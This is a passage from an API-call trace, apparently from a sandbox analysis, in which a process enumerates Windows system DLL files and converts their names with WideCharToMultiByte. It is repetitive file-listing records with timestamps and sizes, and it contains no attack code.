lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x9dc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x9dc288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0206.276] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x9dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0206.276] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x9dc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.276] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.276] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x9dc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0206.276] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x9dc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x9dc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x9dc288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.277] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x9dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.278] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x7d5b00, dwReserved1=0x0, 